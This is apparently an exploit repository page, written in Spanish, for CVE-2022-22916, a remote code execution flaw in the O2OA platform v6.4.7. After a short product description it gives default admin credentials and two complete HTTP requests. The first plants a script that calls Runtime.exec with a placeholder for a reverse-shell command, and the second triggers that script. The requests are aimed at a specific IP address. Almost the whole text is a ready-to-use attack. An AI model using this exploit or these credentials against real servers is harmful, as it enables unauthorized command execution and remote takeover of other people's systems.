0x7eteam/cve-2022-22916CVE-2022-22916,O2OA RCE ejecución remota de comandos
CVE-2022-22916, O2OA RCE Ejecución remota de comandos
O2OA es una solución de plataforma de desarrollo de sistemas de información empresarial de código abierto basada en el protocolo AGPL, que se basa en una arquitectura distribuida J2EE, integra oficina móvil y oficina inteligente, admite implementación privada y capacidad de carga adaptativa, y puede reducir en gran medida los costos de desarrollo de software empresarial. A través de /x_program_center/jaxrs/invoke se descubrió que O2OA v6.4.7 contiene una vulnerabilidad de ejecución remota de código (RCE).
Iniciar sesión con la cuenta xadmin/o2 Obtener Authorization
POST /x_program_center/jaxrs/invoke?v=6.3 HTTP/1.1
Host: 123.58.236.76:33455
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Authorization: tu Authorization
Connection: close
Content-Type: application/json; charset=UTF-8
Content-Length: 475
{"name":"aodsec","id":"aodsec","alias":"","description":"","isNewInvoke":true,"text":"\nvar p = java.lang.Runtime.getRuntime().exec('comando de reverse shell');\nvar sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\\\A\");\nvar result = sc.hasNext() ? sc.next() : \"\";\nsc.close();","enableToken":false,"enable":true,"remoteAddrRegex":"","lastStartTime":"","lastEndTime":"","validated":true}
POST /x_program_center/jaxrs/invoke/aodsec/execute?v=6.3 HTTP/1.1
Host: 123.58.236.76:43953
Content-Length: 0
Accept: text/html,application/json,*/*
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN
Authorization: tu Authorization
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://123.58.236.76:43953
Referer: http://123.58.236.76:43953/x_desktop/index.html
Accept-Encoding: gzip, deflate
Cookie:
Connection: close